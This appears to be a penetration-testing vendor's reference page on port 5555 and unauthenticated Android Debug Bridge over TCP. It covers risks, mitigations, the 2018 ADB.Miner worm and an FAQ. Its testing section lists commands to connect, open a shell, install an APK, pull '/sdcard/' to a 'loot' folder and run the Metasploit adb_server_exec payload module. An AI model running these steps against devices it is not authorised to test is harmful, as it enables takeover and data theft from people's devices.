Port 5555 – Android Debug Bridge (ADB over TCP/IP)

Port 5555 is the canonical Android Debug Bridge (ADB) over TCP/IP port — the default the Android debug daemon (adbd) binds to when wireless debugging is switched on. ADB is the developer channel for talking to an Android device: installing packages, reading logs, pushing and pulling files, and dropping into an interactive shell. Over USB that is harmless, but adb tcpip 5555 (or firmware that ships with it already enabled on many Android TV boxes, IoT gadgets, and rooted phones) turns that shell into a network service with no authentication. On older and default configurations there is no pairing code and no on-device prompt, so anyone who can reach port 5555 can run adb connect <ip>:5555 and land in a root-capable shell — install APKs, pull data, and run arbitrary commands. That single design gap, not any specific software bug, is what powered the 2018 ADB.Miner crypto-mining worm across thousands of exposed devices, and it is why an internet-facing port 5555 is treated as a full compromise waiting to happen.

Why It’s Open

ADB has two transports: USB and TCP/IP. The TCP/IP mode is what puts a service on port 5555, and it gets enabled in a few common ways:

A developer ran adb tcpip 5555 to debug over Wi-Fi instead of a cable, and never switched back to adb usb.
The firmware ships that way. Countless Android TV boxes, Fire TV / Fire TV Stick devices, set-top boxes, and IoT gadgets are built on Android with ADB-over-TCP enabled out of the factory, or flip it on the moment a user enables “Apps from Unknown Sources” to sideload software.
Rooted phones and custom ROMs frequently leave wireless debugging on, and rooting is exactly what makes the resulting shell so dangerous — su from the ADB shell yields full root.

5555 is the default and standard ADB-over-TCP port; if you see a network ADB listener, this is where it usually lives. Some devices, ROMs, and vendor tooling instead expose an alternate ADB-style debug service on a high port such as 59777 (adb-alt) — 5555 is the default ADB port; 59777 is an alternate seen on some devices — but the exposure and the risk are identical. The core problem is that “enabled for the developer” and “enabled for the whole internet” look the same to adbd: it does not ask who is connecting.

Common Risks

No authentication, by design. ADB over TCP does not prompt for a password. On older/default configs there is no pairing or key prompt at all — any host that can reach port 5555 can adb connect and get a shell. This is a configuration/design exposure, not a patchable bug.
Root-capable device shell. adb shell lands you on the device as the shell user (uid 2000); on the many rooted boxes and IoT devices exposing this port, su from there gives full root, exposing every file, credential, and setting.
Silent app installation. adb install evil.apk pushes and installs an APK with no on-screen prompt or consent — the exact mechanism the 2018 crypto-miners used to spread.
Data extraction. adb pull copies photos, databases, auth tokens, and app data straight off the device.
Command execution / cryptomining. An attacker can run any command — the classic payload being a Monero (XMR) miner that pegs the CPU, but equally a botnet client, ransomware, or a persistence implant.
Worm-style propagation. An infected device can scan for other exposed 5555 ports and reinfect them automatically — the same self-spreading pattern the Mirai botnet used against Telnet on port 23.
Device manipulation and bricking. Attackers can change settings, wipe data, or push firmware/config that renders a TV box or IoT device unusable.

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

Enumeration & Testing

ADB speaks a binary protocol (the A_CNXN handshake), so a raw nc banner grab is not very readable — the reliable path is nmap service detection, then the official adb client itself.

Detect the ADB daemon and version

nmap -sV -p 5555 <target>

nmap’s service probe recognises the Android Debug Bridge daemon and reports it as adb, frequently with the device model/name string in the version field.

Connect and list the device

adb connect <target>:5555
adb devices

If the device shows as device (not unauthorized), ADB over TCP is open with no key prompt — that is the finding. A status of unauthorized means the RSA-key authorisation prompt is being enforced.

Confirm the shell and fingerprint the device

adb -s <target>:5555 shell id
adb -s <target>:5555 shell getprop ro.product.model
adb -s <target>:5555 shell getprop ro.build.version.release

Demonstrate impact (app install / data pull)

adb -s <target>:5555 install proof.apk
adb -s <target>:5555 pull /sdcard/ ./loot/

Metasploit payload execution

msfconsole -q
use exploit/android/adb/adb_server_exec
set RHOSTS <target>
set RPORT 5555
run

The exploit/android/adb/adb_server_exec module writes and spawns a native payload on any device listening for ADB debug messages; its RPORT already defaults to 5555. On internet-facing exposure, Shodan and Censys queries such as android debug bridge surface devices with this port open. Capture every open ADB port, the device fingerprint, and any shell you obtain as you go, so the evidence lands in the pentest report instead of a scratch terminal you’ll lose.

What to Look For

Checkpoint	What it means
`nmap -sV` reports `adb` / Android Debug Bridge	An ADB daemon is listening — treat as unauthenticated remote access
`adb devices` shows the target as `device`	ADB over TCP is fully open, no key authorisation required — immediate shell
`adb devices` shows `unauthorized`	ADB key prompt is enforced; still note it, but not directly exploitable
`adb shell id` returns `uid=2000(shell)` or `uid=0(root)`	Confirms shell access and privilege level; root means total control
Reachable from the internet	An Android/TV/IoT device exposed far beyond a developer LAN — high severity
Device model is a TV box / Fire TV / Android TV	Classic ADB-worm target; check for `com.google.time.timer` and mining activity
Same host also answers on 59777	A second, alternate ADB listener — close both

Known CVEs and Exploits

There is no single “port 5555” CVE, and no generic CVE for ADB-over-TCP — because the exposure is a configuration and design issue, not a software flaw. When wireless ADB is enabled, adbd accepts unauthenticated connections by design; on default/older setups there is nothing to “patch” except turning the service off or gating it behind key authorisation and a firewall. That is precisely why it is so widely abused, and why you should be sceptical of any page that pins a specific CVE to this port — the danger comes from what ADB is, not from a named vulnerability.

The real, verifiable weaponisation is the Metasploit module and its Exploit-DB archive:

Exploit-DB 39328 — Google Android ADB Debug Server, Remote Payload Execution (Metasploit). Connects to an unsecured ADB debug server, writes and spawns a native payload (armle/x86/x64/mips), and yields a shell — often root via su — on the device. This is the exploit/android/adb/adb_server_exec module, and its default RPORT is 5555, the port on this page.

If you do encounter a CVE cited against ADB, confirm its product and component on NVD before trusting it — many “Android ADB” CVEs are actually local privilege-escalation or unrelated Bluetooth bugs, not network exposures of port 5555.

Mitigation

Turn ADB over TCP off. The fix is adb usb from a trusted connection, or disabling Wireless debugging and USB debugging in Developer options. On Fire TV, Android TV, and Google TV, switch off ADB debugging and Apps from Unknown Sources — with those off, the device cannot be reached this way.
Never expose ADB to untrusted networks. If you must debug over Wi-Fi, do it only on a trusted LAN, and firewall TCP 5555 (and the alternate 59777) so nothing outside your workstation can reach it.
Enforce ADB key authorisation. Modern Android (and the newer wireless-debugging pairing-code flow) prompts to authorise each debugging host’s RSA key — keep that prompt on and never blanket-approve; a device showing unauthorized is doing the right thing.
Patch the device OS and firmware to reduce the odds that shell can escalate to root via su, and keep TV-box/IoT firmware current.
Scan your own fleet with nmap -p 5555,59777 and disable ADB on anything that answers but shouldn’t — and treat every other unauthenticated remote-access surface (like VNC on port 5900) the same way.
Prefer secure remote access. Where you genuinely need remote administration, use an authenticated, encrypted channel like SSH on port 22 rather than an open debug bridge.

Real-World Example

The canonical case is ADB.Miner (2018). Researchers at Qihoo 360’s Netlab documented a worm that scanned the internet for Android devices with the ADB debug interface open on port 5555, connected without any authentication, and installed a Monero (XMR) miner — then used each newly-infected device to scan for and reinfect others, roughly doubling its footprint every 12 hours and reaching thousands of devices (over 5,000 IPs at its peak) within a day. A widely-reported strain hit Amazon Fire TV and Fire TV Stick devices, installing itself as an app named “Test” with the package name com.google.time.timer, pegging the CPU to mine cryptocurrency and stuttering video playback. Victims typically got infected after enabling ADB/USB debugging and “unknown sources” to sideload piracy or streaming apps, which left the debug bridge reachable from the internet. It is the port-5555 lesson in one line: an ADB port open to the network is not a debugging convenience — it is an open, passwordless, root-capable shell, and the internet will find it.

FAQ

What is port 5555 used for?

Port 5555 is the default port for the Android Debug Bridge daemon (adbd) over TCP/IP. ADB is the developer channel for controlling an Android device — installing apps, reading logs, pushing/pulling files, and getting an interactive shell. When “wireless debugging” or adb tcpip 5555 is enabled, adbd listens on 5555 so you can adb connect to the device over the network instead of USB.

Is port 5555 dangerous?

Yes, whenever it is reachable from an untrusted network. ADB over TCP has no authentication once enabled, and on default/older configurations there is no pairing prompt at all — anyone who can connect to port 5555 can open a shell, install apps silently, and copy data off the device. On rooted devices and many TV boxes the shell escalates straight to root. An internet-facing 5555 should be treated as a full device compromise.

What is the difference between port 5555 and port 59777?

5555 is the default, canonical port for the Android Debug Bridge over TCP/IP — it is where a network ADB listener normally lives. 59777 is a documented alternate (“adb-alt”) seen on some devices, ROMs, and TV-box firmware. The risk is identical: both expose an unauthenticated, root-capable ADB shell. If you see either open on a device you don’t fully control, disable ADB.

Why is port 5555 open on my Android phone or TV box?

Almost always because ADB / wireless debugging is enabled and never turned back off — often after someone ran adb tcpip 5555, toggled Developer options, or enabled “Apps from Unknown Sources” to sideload an app. Many Android TV boxes and IoT devices also ship with ADB-over-TCP on by default. On Fire TV, Android TV, and Google TV, turning off ADB debugging closes the exposure.

How do I check whether my device is exposed?

From another machine, run nmap -sV -p 5555 <device-ip>; if it reports an adb service, try adb connect <device-ip>:5555 and adb devices. A status of device means ADB over TCP is open with no authorisation. Fix it by disabling ADB/wireless debugging and firewalling the port.

How do I secure or close port 5555?

Disable ADB over TCP (adb usb or turn off Wireless/USB debugging), switch off “Apps from Unknown Sources” on TV boxes, firewall TCP 5555 and 59777 to trusted hosts only, keep ADB key authorisation enabled, and rescan to confirm the port is closed. For legitimate remote administration, use an authenticated channel like SSH on port 22 instead, and record what you found in your pentest report.

TL;DR

Service: Android Debug Bridge daemon (adbd) over TCP/IP — 5555 is the default, canonical ADB-over-network port (59777 is an alternate seen on some devices)
Default port: 5555/TCP
Biggest risk: ADB over TCP has no authentication — an open port is an unauthenticated, root-capable shell allowing silent app install, data theft, arbitrary commands, and worm-style crypto-miner infection (ADB.Miner / Fire TV “com.google.time.timer”, 2018)
Mitigation: disable ADB/wireless debugging (adb usb), turn off unknown-sources on TV boxes, firewall 5555 (and 59777) to trusted hosts, keep ADB key authorisation on, and use SSH for real remote access; log findings in your pentest report